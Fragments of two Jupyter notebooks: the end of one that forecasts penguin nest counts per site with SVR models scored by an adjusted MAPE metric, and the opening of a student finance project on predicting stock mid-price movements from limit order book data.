upG2MIt0+sfufVmr2n6z3bYv97php\n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\nBCEAwGn/F499eDhL6etDAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1ea1652e198>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# get the top 25 most common sites and divide by the per-series mean\n", "to_plot = nest_counts.loc[sorted_idx].head(25)\n", "to_plot = to_plot.divide(to_plot.mean(axis=1), axis=0)\n", "\n", "plt.gca().matshow(to_plot,\n", " cmap='viridis')\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>1980</th>\n", " <th>1981</th>\n", " <th>1982</th>\n", " <th>1983</th>\n", " <th>1984</th>\n", " <th>1985</th>\n", " <th>1986</th>\n", " <th>1987</th>\n", " <th>1988</th>\n", " <th>1989</th>\n", " <th>...</th>\n", " <th>2004</th>\n", " <th>2005</th>\n", " <th>2006</th>\n", " <th>2007</th>\n", " <th>2008</th>\n", " <th>2009</th>\n", " <th>2010</th>\n", " <th>2011</th>\n", " <th>2012</th>\n", " <th>2013</th>\n", " </tr>\n", " <tr>\n", " <th>site_id</th>\n", " <th>common_name</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">ACUN</th>\n", " <th>adelie penguin</th>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>...</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.05</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " </tr>\n", " <tr>\n", " <th>chinstrap penguin</th>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>...</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " </tr>\n", " <tr>\n", " <th>ADAM</th>\n", " <th>adelie penguin</th>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>...</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.90</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " </tr>\n", " <tr>\n", " <th>ADAR</th>\n", " <th>adelie penguin</th>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>...</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.10</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.9</td>\n", " <td>0.1</td>\n", " </tr>\n", " <tr>\n", " <th>AILS</th>\n", " <th>chinstrap penguin</th>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>...</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.50</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " <td>0.5</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>5 rows × 34 columns</p>\n", "</div>" ], "text/plain": [ " 1980 1981 1982 1983 1984 1985 1986 1987 \\\n", "site_id common_name \n", "ACUN adelie penguin 0.05 0.05 0.05 0.05 0.05 0.05 0.05 0.05 \n", " chinstrap penguin 0.50 0.50 0.50 0.50 0.50 0.50 0.50 0.50 \n", "ADAM adelie penguin 0.90 0.90 0.90 0.90 0.90 0.90 0.90 0.90 \n", "ADAR adelie penguin 0.10 0.10 0.10 0.10 0.10 0.10 0.10 0.10 \n", "AILS chinstrap penguin 0.50 0.50 0.50 0.50 0.50 0.50 0.50 0.50 \n", "\n", " 1988 1989 ... 2004 2005 2006 2007 2008 \\\n", "site_id common_name ... \n", "ACUN adelie penguin 0.05 0.05 ... 0.05 0.05 0.05 0.05 0.05 \n", " chinstrap penguin 0.50 0.50 ... 0.50 0.50 0.50 0.50 0.50 \n", "ADAM adelie penguin 0.90 0.90 ... 0.90 0.90 0.90 0.90 0.90 \n", "ADAR adelie penguin 0.10 0.10 ... 0.10 0.10 0.10 0.10 0.10 \n", "AILS chinstrap penguin 0.50 0.50 ... 0.50 0.50 0.50 0.50 0.50 \n", "\n", " 2009 2010 2011 2012 2013 \n", "site_id common_name \n", "ACUN adelie penguin 0.05 0.9 0.9 0.9 0.9 \n", " chinstrap penguin 0.50 0.5 0.5 0.5 0.5 \n", "ADAM adelie penguin 0.90 0.9 0.9 0.9 0.9 \n", "ADAR adelie penguin 0.10 0.9 0.9 0.9 0.1 \n", "AILS chinstrap penguin 0.50 0.5 0.5 0.5 0.5 \n", "\n", "[5 rows x 34 columns]" ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "e_n_values = pd.read_csv(\n", " os.path.join('data', 'training_set_e_n.csv'),\n", " index_col=[0,1]\n", " )\n", "\n", "# Process error data to match our nest_counts data\n", "e_n_values = preprocess_timeseries(e_n_values, 1980, fillna_value=0.05)\n", "e_n_values.head()" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def amape(y_true, y_pred, accuracies):\n", " \"\"\" Adjusted MAPE\n", " \"\"\"\n", " not_nan_mask = ~np.isnan(y_true)\n", " \n", " # calculate absolute error\n", " abs_error = (np.abs(y_true[not_nan_mask] - y_pred[not_nan_mask]))\n", " \n", " # calculate the percent error (replacing 0 with 1\n", " # in order to avoid divide-by-zero errors).\n", " pct_error = abs_error / np.maximum(1, y_true[not_nan_mask])\n", " \n", " # adjust error by count accuracies\n", " adj_error = pct_error / accuracies[not_nan_mask]\n", " \n", " # return the mean as a percentage\n", " return np.mean(adj_error)" ] }, { "cell_type": "code", "execution_count": 16, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "0.0" ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Let's confirm the best possible score is 0!\n", "amape(nest_counts.values,\n", " nest_counts.values,\n", " e_n_values.values)" ] }, { "cell_type": "code", "execution_count": 17, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from sklearn.svm import SVR\n", "\n", "\n", "def train_model_per_row(ts, acc, split_year=2010):\n", " # Split into train/test to tune our parameter\n", " train = ts.iloc[ts.index < split_year]\n", " rng = np.random.RandomState(1)\n", " test = ts.iloc[ts.index >= split_year]\n", " test_acc = acc.iloc[acc.index >= split_year]\n", " \n", " # Store best lag parameter\n", " best_mape = np.inf \n", " best_lag = None\n", "\n", " # Test linear regression models with the most recent\n", " # 2 points through using all of the points\n", " for lag in range(2, train.shape[0]):\n", " # fit the model\n", " #temp_model = LinearRegression()\n", " #temp_model = DecisionTreeRegressor(max_depth=4)\n", " #temp_model = AdaBoostRegressor(DecisionTreeRegressor(max_depth=4),\n", " # n_estimators=300, random_state=rng)\n", " temp_model = SVR(kernel='rbf', C=1e3, gamma=0.1)\n", "\n", " temp_model.fit(\n", " train.index[-lag:].values.reshape(-1, 1),\n", " train[-lag:]\n", " )\n", " \n", " # make our predictions on the test set\n", " preds = temp_model.predict(\n", " test.index.values.reshape(-1, 1)\n", " )\n", "\n", " # calculate the score using the custom metric\n", " mape = amape(test.values,\n", " preds,\n", " test_acc.values)\n", "\n", " # if it's the best score yet, hold on to the parameter\n", " if mape < best_mape:\n", " best_mape = mape\n", " best_lag = lag\n", " \n", " # return model re-trained on entire dataset\n", " #final_model = LinearRegression()\n", " final_model = SVR(kernel='rbf', C=1e3, gamma=0.1)\n", "\n", "\n", " final_model.fit(\n", " ts.index[-best_lag:].values.reshape(-1, 1),\n", " ts[-best_lag:]\n", " )\n", "\n", " return final_model, best_mape ,best_lag" ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Avg Best Mape : 63.63849378049528\n", "Avg Best Lag : 3.185185185185185\n" ] } ], "source": [ "models = {}\n", "avg_Best_Mape = 0.0\n", "avg_best_lag = 0.0\n", "iteration = 0\n", "for i, row in tqdm_notebook(nest_counts.iterrows(),\n", " total=nest_counts.shape[0]):\n", " acc = e_n_values.loc[i]\n", " models[i], best_mape, best_lag = train_model_per_row(row, acc)\n", " avg_Best_Mape = avg_Best_Mape + best_mape\n", " avg_best_lag = avg_best_lag + best_lag\n", " iteration = iteration + 1\n", "avg_Best_Mape = avg_Best_Mape / iteration\n", "avg_best_lag = avg_best_lag / iteration \n", "print(\"Avg Best Mape : {0}\".format(avg_Best_Mape))\n", "print(\"Avg Best Lag : {0}\".format(avg_best_lag))" ] }, { "cell_type": "code", "execution_count": 19, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "(648, 4)\n" ] }, { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>2014</th>\n", " <th>2015</th>\n", " <th>2016</th>\n", " <th>2017</th>\n", " </tr>\n", " <tr>\n", " <th>site_id</th>\n", " <th>common_name</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">ACUN</th>\n", " <th>adelie penguin</th>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " </tr>\n", " <tr>\n", " <th>chinstrap penguin</th>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAM</th>\n", " <th>adelie penguin</th>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAR</th>\n", " <th>adelie penguin</th>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " </tr>\n", " <tr>\n", " <th>AILS</th>\n", " <th>chinstrap penguin</th>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " <td>0.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 2014 2015 2016 2017\n", "site_id common_name \n", "ACUN adelie penguin 0.0 0.0 0.0 0.0\n", " chinstrap penguin 0.0 0.0 0.0 0.0\n", "ADAM adelie penguin 0.0 0.0 0.0 0.0\n", "ADAR adelie penguin 0.0 0.0 0.0 0.0\n", "AILS chinstrap penguin 0.0 0.0 0.0 0.0" ] }, "execution_count": 19, "metadata": {}, "output_type": "execute_result" } ], "source": [ "submission_format = pd.read_csv(\n", " os.path.join('data','submission_format.csv'),\n", " index_col=[0, 1]\n", ")\n", "\n", "print(submission_format.shape)\n", "submission_format.head()" ] }, { "cell_type": "code", "execution_count": 20, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n" ] }, { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>2014</th>\n", " <th>2015</th>\n", " <th>2016</th>\n", " <th>2017</th>\n", " </tr>\n", " <tr>\n", " <th>site_id</th>\n", " <th>common_name</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">ACUN</th>\n", " <th>adelie penguin</th>\n", " <td>2877.0</td>\n", " <td>2651.0</td>\n", " <td>2442.0</td>\n", " <td>2289.0</td>\n", " </tr>\n", " <tr>\n", " <th>chinstrap penguin</th>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " <td>4000.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAM</th>\n", " <th>adelie penguin</th>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " <td>76.0</td>\n", " </tr>\n", " <tr>\n", " <th>ADAR</th>\n", " <th>adelie penguin</th>\n", " <td>383608.0</td>\n", " <td>383637.0</td>\n", " <td>383578.0</td>\n", " <td>383493.0</td>\n", " </tr>\n", " <tr>\n", " <th>AILS</th>\n", " <th>chinstrap penguin</th>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " <td>6000.0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " 2014 2015 2016 2017\n", "site_id common_name \n", "ACUN adelie penguin 2877.0 2651.0 2442.0 2289.0\n", " chinstrap penguin 4000.0 4000.0 4000.0 4000.0\n", "ADAM adelie penguin 76.0 76.0 76.0 76.0\n", "ADAR adelie penguin 383608.0 383637.0 383578.0 383493.0\n", "AILS chinstrap penguin 6000.0 6000.0 6000.0 6000.0" ] }, "execution_count": 20, "metadata": {}, "output_type": "execute_result" } ], "source": [ "preds = []\n", "\n", "# For every row in the submission file\n", "for i, row in tqdm_notebook(submission_format.iterrows(),\n", " total=submission_format.shape[0]):\n", " \n", " # get the model for this site + common_name\n", " model = models[i]\n", " \n", " # make predictions using the model\n", " row_predictions = model.predict(\n", " submission_format.columns.values.reshape(-1, 1)\n", " )\n", " \n", " # keep our predictions, rounded to nearest whole number\n", " preds.append(np.round(row_predictions))\n", "\n", "# Create a dataframe that we can write out to a CSV\n", "prediction_df = pd.DataFrame(preds,\n", " index=submission_format.index,\n", " columns=submission_format.columns)\n", "\n", "prediction_df.head()" ] }, { "cell_type": "code", "execution_count": 21, "metadata": { "collapsed": true }, "outputs": [], "source": [ "prediction_df.to_csv('predictions_SVM_RBF.csv')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [Root]", "language": "python", "name": "Python [Root]" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

doutib/lobpredict

lobpredictrst/jupyter/report/.ipynb_checkpoints/Stat 222 - Finance Project-checkpoint.ipynb

1

16292

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Stat 222: Finance Project (Spring 2016)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##### Team: Fengshi Niu, Shamindra Shrotriya, Yueqi (Richie) Feng, Thibault Doutre" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Abstract" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We created an open source Python Package 'lobpredictrst' to predict mid price movements for the AAPL LOB stock\n", "- In data preprocessing part, we follow closely to the Kercheval and Zhang (2015). We create categorical (up, stationary, down) price movement labels using midprice change and bid-ask price spread crossing between delta t, which we pick, respectively and create features according to the paper's feature 1-6.\n", "- We use SVM and random forest with the standard cross-validation procedure to get the prediction models and create a straightforward trading strategy accordingly\n", "- We use several measures to evaluate the 